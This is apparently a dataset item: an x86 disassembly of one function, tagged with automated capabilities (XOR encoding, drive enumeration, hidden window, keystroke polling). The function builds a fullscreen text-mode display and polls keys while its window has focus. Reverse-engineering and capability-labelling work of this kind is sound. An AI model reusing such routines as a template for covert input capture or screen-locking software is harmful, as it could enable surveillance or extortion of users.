Function at 0x422620
Capabilities:
Encode data using xor
Get disk information
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0xe18
push ebx
push esi
push edi
push 0x476e3c
push dword [0x499c94]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x476e54
mov dword [0x49e098], eax
push dword [0x499c94]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x476e64
mov dword [0x49e09c], eax
push dword [0x499c94]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x49e0a0], eax
cmp dword [0x49e098], 0
je 0x422681
cmp dword [0x49e09c], 0
je 0x422681
test eax, eax
jne 0x422685
xor eax, eax
jmp 0x42268a
mov eax, 1
test al, al
mov byte [0x47214c], al
je 0x4226ab
push 0xf0000000
push 1
push 0
push 0
push 0x49e0a4
call dword [0x49e098]
jmp 0x4226b8
push 0x49e0a8
call fcn.0041ad50
add esp, 4
cmp byte [0x47214c], 0
je 0x4226c8
mov ecx, 0x4201c0
jmp 0x4226cd
mov ecx, fcn.0041b550
mov dword [0x49e1ec], ecx
cmp byte [0x47214c], 0
je 0x4226e3
mov edx, 0x49e0a4
jmp 0x4226e8
mov edx, 0x49e0a8
mov dword [0x49e1e8], edx
call fcn.00420c85
cmp byte [0x472150], 0
je 0x425194
cmp byte [0x472151], 0
jne 0x422865
mov esi, 0x476c24
lea edi, [esp + 0x130]
mov ecx, 0x16
rep movsd dword es:[edi], dword [esi]
mov eax, 0x472152
push 0x40
push eax
lea ecx, [esp + 0x148]
push ecx
call fcn.0045a4e0
push 5
push 0x472192
lea edx, [esp + 0x194]
push edx
call fcn.0045a4e0
mov esi, 0x472152
push 0x40
push 0
mov byte [0x472151], 1
push esi
call fcn.00459cc8
push 0x472150
call fcn.00420c50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea ecx, [esp + 0x670]
mov dword [esp + 0x928], eax
call fcn.0042e8f8
push 0
push dword [esp + 0x92c]
lea ecx, [esp + 0x678]
call fcn.00428a88
push dword [esp + 0x670]
push dword [esp + 0x92c]
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
add esp, 0x28
mov eax, dword [esp + 0x648]
xor ebx, ebx
cmp byte [eax], bl
je 0x42282f
lea edx, [esp + 0x130]
push edx
lea esi, [esp + 0x981]
push esi
mov edi, dword [esp + 0x650]
add edi, ebx
push edi
lea ecx, [esp + 0x61c]
call fcn.0042e9a0
push eax
call fcn.00421960
mov eax, dword [esp + 0x620]
sub eax, dword [esp + 0x618]
push eax
push dword [esp + 0x61c]
lea ecx, [esp + 0x628]
call fcn.00428728
mov edx, dword [esp + 0x650]
add edx, ebx
push edx
call fcn.0045a18c
inc eax
add esp, 0xc
add ebx, eax
mov esi, dword [esp + 0x648]
cmp byte [esi + ebx], 0
jne 0x4227bf
push 0x40
push 0
lea ebx, [esp + 0x148]
push ebx
call fcn.00459cc8
mov eax, dword [esp + 0x65c]
sub eax, dword [esp + 0x654]
push eax
push dword [esp + 0x658]
lea ecx, [esp + 0x664]
call fcn.00428728
add esp, 0xc
cmp byte [0x472151], 1
jne 0x4244a0
mov esi, 0x476c7c
lea edi, [esp + 0x974]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x476c84
lea edi, [esp + 0x880]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, 0x4251a0
mov dword [esp + 0x884], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x974]
mov dword [esp + 0x890], eax
lea edx, [esp + 0x880]
mov dword [esp + 0x8a4], ecx
push edx
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [0x472148]
push eax
mov esi, dword [0x472144]
push 0
push 0
push dword [ebx]
push dword [esi]
push 0x80000000
push 0x80000000
push 0xca0000
push 0x476e78
lea eax, [esp + 0x99c]
push eax
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
mov dword [esp + 0x91c], eax
jne 0x422927
pop edi
mov eax, 0xffffffff
pop esi
pop ebx
add esp, 0xe18
ret
push 1
push dword [esp + 0x920]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [0x472144]
mov dword [ecx], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, dword [0x472148]
mov dword [edx], eax
push 0xfa000
call fcn.0045ae50
mov esi, dword [0x472144]
mov dword [0x49e084], eax
mov edi, dword [esi]
mov eax, dword [0x472148]
imul edi, dword [eax]
shl edi, 2
push edi
call fcn.0045ae50
push 0xfffffffffffffff0
mov dword [0x49e088], eax
push dword [esp + 0x928]
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov ebx, eax
mov esi, 0x476cac
lea edi, [esp + 0x624]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
add esp, 8
lea ecx, [esp + 0x61c]
push ecx
push dword [esp + 0x920]
call dword [sym.imp.USER32.dll_GetWindowPlacement]
test eax, eax
je 0x422a02
mov edx, ebx
and edx, 0xff30ffff
push edx
push 0xfffffffffffffff0
push dword [esp + 0x924]
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [0x472148]
push 0x220
mov esi, dword [0x472144]
push dword [eax]
push dword [esi]
push 0
push 0
push 0
push dword [esp + 0x934]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x49de88
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [0x49de88]
add eax, 0x1e
push esi
mov edx, dword [0x49de8c]
mov ebx, 0x3c
adc edx, 0
xor ecx, ecx
push edi
call fcn.0045996a
pop edi
pop esi
mov dword [0x49de90], eax
mov dword [0x49de94], edx
push 0x49de80
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x49de80]
mov esi, 0x3c
sub eax, dword [0x49de90]
mov edx, dword [0x49de84]
sbb edx, dword [0x49de94]
mov dword [0x49e078], eax
mov dword [0x49e07c], edx
mov eax, dword [esi*8 + 0x49de98]
mov edx, dword [esi*8 + 0x49de9c]
sub eax, dword [0x49de90]
sbb edx, dword [0x49de94]
mov dword [esi*8 + 0x49de90], eax
mov dword [esi*8 + 0x49de94], edx
dec esi
test esi, esi
jne 0x422a6b
push dword [esp + 0x91c]
call dword [sym.imp.USER32.dll_GetDC]
mov dword [0x49e08c], eax
push eax
call dword [sym.imp.GDI32.DLL_CreateCompatibleDC]
mov esi, dword [0x472148]
mov dword [0x49e090], eax
mov edi, dword [0x472144]
push dword [esi]
push dword [edi]
push dword [0x49e08c]
call dword [sym.imp.GDI32.DLL_CreateCompatibleBitmap]
push eax
mov dword [0x49e094], eax
push dword [0x49e090]
call dword [sym.imp.GDI32.DLL_SelectObject]
xor ebx, ebx
mov ecx, dword [0x4710bc]
mov edx, dword [0x499c90]
lea esi, [edx + ebx*2]
mov al, byte [ecx + ebx]
mov byte [esi + 1], al
mov edi, dword [0x499c90]
mov byte [edi + ebx*2], 0xb
inc ebx
cmp ebx, 0x7d0
jb 0x422ae6
xor ebx, ebx
mov eax, dword [0x499c90]
lea edx, [eax + ebx*2]
mov cl, byte [ebx + 0x472192]
mov byte [edx + 0x97], cl
inc ebx
cmp ebx, 5
jb 0x422b10
push 0x400
push 0xff
lea ebx, [esp + 0x1b8]
push ebx
call fcn.00459cc8
mov esi, 0x476cd8
mov byte [esp + 0xe2d], 1
lea edi, [esp + 0x758]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
push 0
push 0
push 0
lea eax, [esp + 0x758]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x422c4d
lea ecx, [esp + 0x74c]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [esp + 0x74c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esp + 0x91c]
jne 0x422bf5
xor ebx, ebx
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
sets al
movzx eax, al
mov esi, dword [esp + ebx*4 + 0x1b0]
add esi, esi
or eax, esi
mov dword [esp + ebx*4 + 0x1b0], eax
inc ebx
cmp ebx, 0x100
jb 0x422ba8
xor ecx, ecx
mov bl, byte [esp + ecx*4 + 0x1b0]
and bl, 3
cmp bl, 1
jne 0x422bec
mov byte [esp + 0xe21], 0
inc ecx
cmp ecx, 0xff
jb 0x422bd5
call fcn.0041fda5
xor ebx, ebx
mov ecx, dword [0x499c90]
lea edx, [ecx + ebx*2]
mov al, byte [edx]
shl al, 4
movzx ecx, byte [edx]
sar ecx, 4
or al, cl
inc ebx
cmp ebx, 0x7d0
mov byte [edx], al
jb 0x422bfc
push 1
call fcn.0041fcc1
add esp, 4
cmp byte [esp + 0xe21], 0
je 0x422c4d
push 0
push 0
push 0
lea ebx, [esp + 0x758]
push ebx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x422b7b
xor edx, edx
mov esi, dword [0x499c90]
lea edi, [esi + edx*2]
mov byte [edi + 1], 0x20
mov eax, dword [0x499c90]
mov byte [eax + edx*2], 0xb
inc edx
cmp edx, 0x7d0
jb 0x422c4f
xor ebx, ebx
cmp byte [0x476e84], bl
je 0x422c94
mov edx, dword [0x499c90]
lea esi, [edx + ebx*2]
mov cl, byte [ebx + 0x476e84]
mov byte [esi + 1], cl
inc ebx
cmp byte [ebx + 0x476e84], 0
jne 0x422c78
xor edx, edx
mov ebx, dword [0x499c90]
lea eax, [ebx + edx*2]
inc edx
mov byte [eax + 0xa1], 0xe5
cmp edx, 0x50
jb 0x422c96
lea ecx, [esp + 0x728]
xor edx, edx
mov dword [ecx], edx
mov dword [ecx + 4], edx
mov dword [ecx + 8], edx
mov dword [esp + 0x728], edx
mov dword [esp + 0x72c], edx
mov dword [esp + 0x730], edx
push 0x28
call fcn.0045ae74
mov dword [esp + 0x72c], eax
mov ebx, dword [esp + 0x72c]
mov dword [esp + 0x730], eax
add ebx, 0x28
mov dword [esp + 0x734], ebx
lea eax, [esp + 0xc1c]
mov byte [esp + 0xe20], 0
push eax
lea ecx, [esp + 0xe24]
push ecx
push 0x28
push dword [esp + 0x738]
call fcn.00426d2c
mov dword [esp + 0x740], eax
push 0x1d
push 0x472197
lea edi, [esp + 0x724]
push edi
call fcn.0045a4e0
push 3
push 0
lea edx, [esp + 0x74d]
push edx
call fcn.00459cc8
xor esi, esi
add esp, 0x2c
mov dword [esp + 0x914], esi
xor edi, edi
mov esi, 7
xor eax, eax
mov ebx, dword [esp + esi*4 + 0x708]
mov edx, edi
xor ecx, ecx
or eax, ebx
or edx, ecx
mov dword [esp + 0x1a0], eax
mov ebx, 0x18ed2825
mov dword [esp + 0x1a4], edx
push esi
push edi
call fcn.0045996a
mov ebx, 0x18ed2825
xor ecx, ecx
pop edi
pop esi
mov edx, dword [esp + 0x1a4]
mov dword [esp + esi*4 + 0x708], eax
mov eax, dword [esp + 0x1a0]
push esi
push edi
call fcn.0045996a
pop edi
mov edi, ebx
pop esi
dec esi
test esi, esi
jns 0x422d5d
mov edx, dword [esp + 0x914]
lea ecx, [edx + 5]
cmp ecx, edx
mov esi, dword [esp + 0x914]
jle 0x422e44
cmp edx, 0x28
jae 0x422e44
mov dword [esp + 0x934], ecx
mov eax, edi
mov edx, 0x3521cfb3
mov ecx, edi
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
lea edx, [edx + eax]
shr edx, 5
imul eax, edx, 0x35
sub ecx, eax
mov eax, edx
mov dword [esp + 0x14], eax
mov edx, ecx
mov eax, 0x4d4873ed
mov dword [esp + 0x18], edx
mov ebx, ecx
imul ecx
mov eax, ecx
sar eax, 0x1f
sar edx, 4
sub edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov ebx, ecx
shr ecx, 0x1f
imul edx, ecx, 0x35
mov ecx, dword [esp + 0x728]
add ebx, edx
mov byte [ecx + esi], bl
mov eax, dword [esp + 0x14]
inc esi
cmp dword [esp + 0x934], esi
mov edx, dword [esp + 0x18]
mov edi, eax
jle 0x422e44
cmp esi, 0x28
jl 0x422dd7
mov esi, dword [esp + 0x914]
add esi, 5
cmp esi, 0x28
jb 0x422d4f
lea esi, [esp + 0x728]
push esi
lea edi, [esp + 0x860]
push edi
call fcn.0041f057
lea ecx, [esp + 0xa1c]
push ecx
push 0x476eb8
lea ecx, [esp + 0x750]
call fcn.0042e9a0
add esp, 8
xor ebx, ebx
mov eax, dword [esp + 0x860]
sub eax, dword [esp + 0x85c]
je 0x422ef4
mov esi, ebx
mov eax, 0x2aaaaaab
imul esi
mov eax, esi
sar eax, 0x1f
sub edx, eax
imul eax, edx, 6
sub esi, eax
cmp esi, 5
jne 0x422ec2
push 0x2d
lea ecx, [esp + 0x744]
call fcn.00428ac0
mov edi, dword [esp + 0x85c]
movzx edx, byte [edi + ebx]
mov eax, dword [0x4706f4]
push dword [edx + eax]
lea ecx, [esp + 0x744]
call fcn.00428ac0
mov esi, dword [esp + 0x860]
inc ebx
sub esi, dword [esp + 0x85c]
cmp ebx, esi
jb 0x422e9a
mov edx, 0x476ec0
push edx
call fcn.0045a18c
add esp, 4
lea ecx, [eax + 0x476ec0]
push ecx
mov edx, 0x476ec0
push edx
lea ecx, [esp + 0x748]
call fcn.0042870c
mov edx, 0x476ec8
push edx
call fcn.0045a18c
mov esi, eax
mov ecx, dword [esp + 0x748]
lea edx, [esi + ecx + 1]
xor ecx, ecx
sub edx, dword [esp + 0x744]
mov dword [esp + 0x8dc], ecx
mov dword [esp + 0x8e0], ecx
mov dword [esp + 0x8e4], ecx
push edx
lea ecx, [esp + 0x8e0]
call fcn.0042eac0
mov ecx, dword [esp + 0x8e0]
xor edx, edx
mov byte [ecx], dl
lea ecx, [esi + 0x476ec8]
push ecx
mov ecx, 0x476ec8
push ecx
lea ecx, [esp + 0x8e4]
call fcn.0042870c
push dword [esp + 0x748]
push dword [esp + 0x748]
lea ecx, [esp + 0x8e4]
call fcn.004288b0
mov edx, 0x4771b4
push edx
call fcn.0045a18c
mov edi, eax
mov ecx, dword [esp + 0x8e4]
mov dword [esp + 0x87c], 0
lea edx, [edi + ecx + 1]
sub edx, dword [esp + 0x8e0]
mov dword [esp + 0x880], 0
mov dword [esp + 0x884], 0
push edx
lea ecx, [esp + 0x880]
call fcn.0042eac0
mov edx, dword [esp + 0x880]
mov byte [edx], 0
push dword [esp + 0x8e4]
push dword [esp + 0x8e4]
lea ecx, [esp + 0x884]
call fcn.004288b0
lea edx, [edi + 0x4771b4]
mov ecx, 0x4771b4
push edx
push ecx
lea ecx, [esp + 0x884]
call fcn.0042870c
mov edx, dword [esp + 0x8e8]
sub edx, dword [esp + 0x8e0]
push edx
push dword [esp + 0x8e4]
lea ecx, [esp + 0x8f0]
call fcn.00428728
mov dword [esp + 0x910], 2
add esp, 8
xor ebx, ebx
mov edx, dword [esp + 0x878]
sub edx, dword [esp + 0x874]
mov dword [esp + 0x90c], edx
je 0x42312b
mov edi, 0xa0
lea esi, [ebx + 0x50]
cmp dword [esp + 0x90c], esi
jae 0x42308b
mov esi, dword [esp + 0x90c]
cmp esi, ebx
jle 0x4230ba
mov ecx, dword [esp + 0x874]
mov dl, byte [ecx + esi]
cmp dl, 0x20
jle 0x4230ba
test dl, dl
je 0x4230ba
dec esi
cmp esi, ebx
jle 0x4230ba
mov ecx, dword [esp + 0x874]
mov dl, byte [ecx + esi]
cmp dl, 0x20
jle 0x4230ba
test dl, dl
jne 0x4230a2
cmp esi, ebx
jg 0x4230c1
lea esi, [ebx + 0x50]
mov ecx, dword [esp + 0x874]
mov dl, byte [ecx + esi]
cmp dl, 0x20
jg 0x4230d5
test dl, dl
je 0x4230d5
inc esi
mov dword [esp + 0x924], ebx
cmp ebx, esi
jge 0x423114
mov ecx, dword [esp + 0x874]
cmp byte [ecx + ebx], 0xa
jne 0x4230f0
inc ebx
jmp 0x423114
mov edx, dword [esp + 0x874]
mov cl, byte [edx + ebx]
lea edx, [ebx + edi]
sub edx, dword [esp + 0x924]
mov eax, dword [0x499c90]
lea edx, [eax + edx*2]
mov byte [edx + 1], cl
inc ebx
cmp ebx, esi
jl 0x4230e0
inc dword [esp + 0x908]
add edi, 0x50
cmp ebx, dword [esp + 0x90c]
jb 0x423078
mov ecx, dword [esp + 0x87c]
sub ecx, dword [esp + 0x874]
push ecx
push dword [esp + 0x878]
lea ecx, [esp + 0x884]
call fcn.00428728
mov edx, dword [esp + 0x748]
sub edx, dword [esp + 0x740]
push edx
push dword [esp + 0x744]
lea ecx, [esp + 0x750]
call fcn.00428728
lea edx, [esp + 0x97f]
push edx
push dword [esp + 0x864]
push dword [esp + 0x864]
call fcn.00425820
lea ecx, [esp + 0x868]
call fcn.00426984
lea edx, [esp + 0xc25]
push edx
push dword [esp + 0x73c]
push dword [esp + 0x73c]
call fcn.00425820
lea ecx, [esp + 0x740]
call fcn.00426984
push 0x400
push 0xff
lea edx, [esp + 0x1d0]
push edx
call fcn.00459cc8
mov ecx, dword [esp + 0x92c]
dec ecx
mov dword [esp + 0x950], ecx
imul edx, ecx, 0x50
mov ecx, ebx
sub ecx, dword [esp + 0x948]
lea edx, [ecx + edx + 0x50]
xor edi, edi
mov dword [esp + 0x94c], ecx
mov ecx, dword [0x499c90]
lea edx, [ecx + edx*2]
mov byte [esp + 0xe45], 1
mov byte [edx + 1], 0xe1
mov dword [esp + 0x970], 0
mov byte [esp + 0xe43], 0
add esp, 0x24
push 0
push 0
push 0
lea ecx, [esp + 0x758]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x424460
mov dword [esp + 0x950], edi
lea eax, [esp + 0x74c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea esi, [esp + 0x74c]
push esi
call dword [sym.imp.USER32.dll_DispatchMessageA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esp + 0x91c]
sete bl
movzx ebx, bl
mov esi, 0x476cf4
lea edi, [esp + 0x6e0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [0x472144]
mov eax, dword [ecx]
mov dword [esp + 0x6e8], eax
mov edx, dword [0x472148]
mov esi, dword [edx]
mov dword [esp + 0x6ec], esi
lea edi, [esp + 0x6e0]
push edi
push dword [esp + 0x920]
call dword [sym.imp.USER32.dll_GetClientRect]
cmp dword [esp + 0x6e8], 0
je 0x4233bd
cmp dword [esp + 0x6ec], 0
je 0x4233bd
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, dword [esp + 0x91c]
jne 0x4233bd
mov ecx, dword [0x472144]
mov eax, dword [ecx]
cmp eax, dword [esp + 0x6e8]
jne 0x423311
mov edx, dword [0x472148]
mov esi, dword [edx]
cmp esi, dword [esp + 0x6ec]
je 0x4233bd
mov edx, dword [esp + 0x6e8]
mov edi, dword [esp + 0x950]
mov dword [ecx], edx
mov edx, dword [0x472148]
mov ecx, dword [esp + 0x6ec]
mov dword [edx], ecx
mov ecx, dword [0x472144]
mov edx, dword [ecx]
shl edx, 2
mov ecx, dword [0x472148]
imul edx, dword [ecx]
push edx
push dword [0x49e088]
call fcn.0045adac
add esp, 8
mov esi, eax
test eax, eax
je 0x42335f
mov dword [0x49e088], esi
push dword [0x499c90]
call dword [sym.imp.GDI32.DLL_DeleteObject]
push dword [0x49e094]
call dword [sym.imp.GDI32.DLL_DeleteObject]
push dword [0x49e08c]
call dword [sym.imp.GDI32.DLL_CreateCompatibleDC]
mov edx, dword [0x472148]
mov dword [0x49e090], eax
mov ecx, dword [0x472144]
push dword [edx]
push dword [ecx]
push dword [0x49e08c]
call dword [sym.imp.GDI32.DLL_CreateCompatibleBitmap]
push eax
mov dword [0x49e094], eax
push dword [0x49e090]
call dword [sym.imp.GDI32.DLL_SelectObject]
mov dword [esp + 0x950], edi
cmp byte [esp + 0xe1f], 0
je 0x423424
test bl, bl
je 0x423424
mov edi, dword [esp + 0x950]
xor ebx, ebx
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
sets dl
movzx edx, dl
mov ecx, dword [esp + ebx*4 + 0x1b0]
add ecx, ecx
or edx, ecx
mov dword [esp + ebx*4 + 0x1b0], edx
inc ebx
cmp ebx, 0x100
jb 0x4233d4
xor ecx, ecx
mov al, byte [esp + ecx*4 + 0x1b0]
and al, 3
cmp al, 1
jne 0x423416
mov byte [esp + 0xe21], 0
inc ecx
cmp ecx, 0xff
jb 0x423401
jmp 0x42442b
mov edi, dword [esp + 0x950]
test bl, bl
je 0x42442b
xor ebx, ebx
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
sets dl
movzx edx, dl
mov ecx, dword [esp + ebx*4 + 0x1b0]
add ecx, ecx
or edx, ecx
mov dword [esp + ebx*4 + 0x1b0], edx
inc ebx
cmp ebx, 0x100
jb 0x423435
xor esi, esi
movzx edx, byte [esi + 0x476d04]
mov cl, byte [esp + edx*4 + 0x1b0]
and cl, 3
cmp cl, 1
je 0x423492
mov edx, dword [esp + edx*4 + 0x1b0]
and edx, 0xfff
mov ecx, 0xfff
cmp edx, ecx
jne 0x423577
cmp dword [esp + 0x94c], 0x4a
jge 0x423577
test dword [esp + 0x1f0], 1
je 0x4234b5
mov dl, byte [esi + 0x476d34]
jmp 0x4234bb
mov dl, byte [esi + 0x476d64]
mov ecx, dword [esp + 0x94c]
sub ecx, edi
mov byte [esp + 0xe22], dl
push ecx
lea eax, [esp + edi + 0x988]
push eax
lea ebx, [esp + edi + 0x98d]
push ebx
mov dword [esp + 0x38], ecx
call fcn.0045a4e0
mov edx, dword [esp + 0x38]
add edx, edx
push edx
mov ecx, dword [esp + 0x938]
mov edx, dword [esp + 0x93c]
imul eax, edx, 0xa0
add ecx, ecx
add eax, dword [0x499c90]
add ecx, eax
lea ecx, [ecx + edi*2]
push ecx
lea ecx, [ecx + 2]
push ecx
call fcn.0045a4e0
mov dl, byte [esp + 0xe3a]
mov byte [esp + edi + 0x99c], dl
mov edx, dword [esp + 0x944]
imul edx, edx, 0x50
mov ebx, dword [0x499c90]
mov cl, byte [esp + 0xe3a]
add edx, dword [esp + 0x940]
lea eax, [edx + edi]
lea ebx, [ebx + eax*2]
mov byte [ebx + 1], cl
lea ecx, [eax + 0x50]
mov eax, dword [0x499c90]
lea ecx, [eax + ecx*2]
inc edi
lea edx, [edi + edx + 0x50]
mov byte [ecx + 1], 0x20
mov ecx, dword [0x499c90]
lea edx, [ecx + edx*2]
mov byte [edx + 1], 0xe1
inc dword [esp + 0x964]
add esp, 0x18
inc esi
cmp esi, 0x30
jb 0x423462
mov al, byte [esp + 0x1d0]
and al, 3
cmp al, 1
je 0x4235a8
mov ebx, dword [esp + 0x1d0]
and ebx, 0xfff
mov esi, 0xfff
cmp ebx, esi
jne 0x42365d
test edi, edi
jle 0x42365d
mov ecx, dword [esp + 0x94c]
sub ecx, edi
push ecx
lea edx, [esp + edi + 0x988]
push edx
lea eax, [esp + edi + 0x98b]
push eax
mov dword [esp + 0x3c], ecx
call fcn.0045a4e0
mov ebx, dword [esp + 0x3c]
add ebx, ebx
push ebx
mov esi, dword [esp + 0x938]
mov ecx, dword [esp + 0x93c]
imul edx, ecx, 0xa0
add esi, esi
add edx, dword [0x499c90]
add esi, edx
lea eax, [esi + edi*2]
push eax
lea ebx, [eax - 2]
push ebx
call fcn.0045a4e0
mov esi, dword [esp + 0x944]
imul edx, esi, 0x50
dec dword [esp + 0x964]
mov eax, dword [esp + 0x964]
add edx, dword [esp + 0x940]
lea ebx, [edx + eax]
mov esi, dword [0x499c90]
lea eax, [esi + ebx*2]
mov ecx, 0x20
lea ebx, [edi + edx + 0x50]
mov byte [eax + 1], cl
mov esi, dword [0x499c90]
lea eax, [esi + ebx*2]
mov byte [eax + 1], cl
dec edi
lea ecx, [edi + edx + 0x50]
mov edx, dword [0x499c90]
lea ebx, [edx + ecx*2]
mov byte [ebx + 1], 0xe1
add esp, 0x18
mov al, byte [esp + 0x268]
and al, 3
cmp al, 1
je 0x423684
mov esi, dword [esp + 0x268]
and esi, 0xfff
mov ecx, 0xfff
cmp esi, ecx
jne 0x423716
cmp edi, dword [esp + 0x94c]
jge 0x423716
mov edx, dword [esp + 0x94c]
dec edx
sub edx, edi
push edx
lea ebx, [esp + edi + 0x989]
push ebx
lea eax, [esp + edi + 0x98c]
push eax
mov dword [esp + 0x40], edx
call fcn.0045a4e0
mov esi, dword [esp + 0x40]
add esi, esi
push esi
mov ecx, dword [esp + 0x938]
mov edx, dword [esp + 0x93c]
imul ebx, edx, 0xa0
add ecx, ecx
add ebx, dword [0x499c90]
add ecx, ebx
lea eax, [ecx + edi*2]
lea esi, [eax + 2]
push esi
push eax
call fcn.0045a4e0
mov ecx, dword [esp + 0x944]
imul edx, ecx, 0x50
dec dword [esp + 0x964]
mov ebx, dword [0x499c90]
add edx, dword [esp + 0x940]
add edx, dword [esp + 0x964]
lea eax, [ebx + edx*2]
mov byte [eax + 1], 0x20
add esp, 0x18
mov cl, byte [esp + 0x244]
and cl, 3
cmp cl, 1
je 0x42373b
mov esi, dword [esp + 0x244]
and esi, 0xfff
mov edx, 0xfff
cmp esi, edx
jne 0x423772
test edi, edi
jle 0x423772
mov ebx, dword [esp + 0x92c]
imul eax, ebx, 0x50
mov esi, dword [0x499c90]
add eax, dword [esp + 0x928]
lea ecx, [edi + eax + 0x50]
lea edx, [esi + ecx*2]
mov byte [edx + 1], 0x20
dec edi
lea ebx, [edi + eax + 0x50]
mov eax, dword [0x499c90]
lea ecx, [eax + ebx*2]
mov byte [ecx + 1], 0xe1
mov dl, byte [esp + 0x24c]
and dl, 3
cmp dl, 1
je 0x423797
mov esi, dword [esp + 0x24c]
and esi, 0xfff
mov ebx, 0xfff
cmp esi, ebx
jne 0x4237d4
cmp edi, dword [esp + 0x94c]
jge 0x4237d4
mov eax, dword [esp + 0x92c]
imul ecx, eax, 0x50
mov esi, dword [0x499c90]
add ecx, dword [esp + 0x928]
lea edx, [edi + ecx + 0x50]
lea ebx, [esi + edx*2]
mov byte [ebx + 1], 0x20
inc edi
lea eax, [edi + ecx + 0x50]
mov ecx, dword [0x499c90]
lea edx, [ecx + eax*2]
mov byte [edx + 1], 0xe1
mov bl, byte [esp + 0x240]
and bl, 3
cmp bl, 1
je 0x4237f9
mov esi, dword [esp + 0x240]
and esi, 0xfff
mov eax, 0xfff
cmp esi, eax
jne 0x423831
test edi, edi
jle 0x423831
mov ecx, dword [esp + 0x92c]
imul edx, ecx, 0x50
mov esi, dword [0x499c90]
add edx, dword [esp + 0x928]
lea ebx, [edi + edx + 0x50]
lea eax, [esi + ebx*2]
mov byte [eax + 1], 0x20
lea ecx, [edx + 0x50]
mov edx, dword [0x499c90]
lea ebx, [edx + ecx*2]
xor edi, edi
mov byte [ebx + 1], 0xe1
mov al, byte [esp + 0x23c]
and al, 3
cmp al, 1
je 0x423854
mov esi, dword [esp + 0x23c]
and esi, 0xfff
mov ecx, 0xfff
cmp esi, ecx
jne 0x42389d
cmp edi, dword [esp + 0x94c]
jge 0x42389d
mov edx, dword [esp + 0x92c]
imul ebx, edx, 0x50
mov esi, dword [0x499c90]
add ebx, dword [esp + 0x928]
lea eax, [edi + ebx + 0x50]
lea ecx, [esi + eax*2]
mov byte [ecx + 1], 0x20
mov edx, dword [esp + 0x94c]
lea ebx, [edx + ebx + 0x50]
mov eax, dword [0x499c90]
lea esi, [eax + ebx*2]
mov edi, dword [esp + 0x94c]
mov byte [esi + 1], 0xe1
mov cl, byte [esp + 0x248]
and cl, 3
cmp cl, 1
je 0x4238c2
mov edx, dword [esp + 0x248]
and edx, 0xfff
mov ebx, 0xfff
cmp edx, ebx
jne 0x4238d1
cmp dword [0x4720cc], 0
je 0x4238d1
dec dword [0x4720cc]
mov al, byte [esp + 0x250]
and al, 3
cmp al, 1
je 0x4238f4
mov esi, dword [esp + 0x250]
and esi, 0xfff
mov ecx, 0xfff
cmp esi, ecx
jne 0x42390b
mov edx, dword [0x4720d0]
add edx, 0xffffffe7
cmp dword [0x4720cc], edx
jae 0x42390b
inc dword [0x4720cc]
mov bl, byte [esp + 0x234]
and bl, 3
cmp bl, 1
je 0x42392f
mov eax, dword [esp + 0x234]
and eax, 0xfff
mov esi, 0xfff
cmp eax, esi
jne 0x423949
cmp dword [0x4720cc], 0x19
jae 0x423942
mov dword [0x4720cc], 0x19
add dword [0x4720cc], 0xffffffe7
mov cl, byte [esp + 0x238]
and cl, 3
cmp cl, 1
je 0x42396e
mov edx, dword [esp + 0x238]
and edx, 0xfff
mov ebx, 0xfff
cmp edx, ebx
jne 0x42398a
add dword [0x4720cc], 0x19
mov eax, dword [0x4720d0]
add eax, 0xffffffe7
cmp eax, dword [0x4720cc]
jae 0x42398a
mov dword [0x4720cc], eax
mov cl, byte [esp + 0x1e4]
and cl, 3
cmp cl, 1
jne 0x42442b
mov dword [esp + 0x950], edi
mov esi, dword [esp + 0x92c]
imul edx, esi, 0x50
add edx, dword [esp + 0x928]
mov ebx, dword [esp + 0x950]
lea eax, [ebx + edx + 0x50]
mov ecx, dword [0x499c90]
lea esi, [ecx + eax*2]
mov byte [esi + 1], 0x20
xor edx, edx
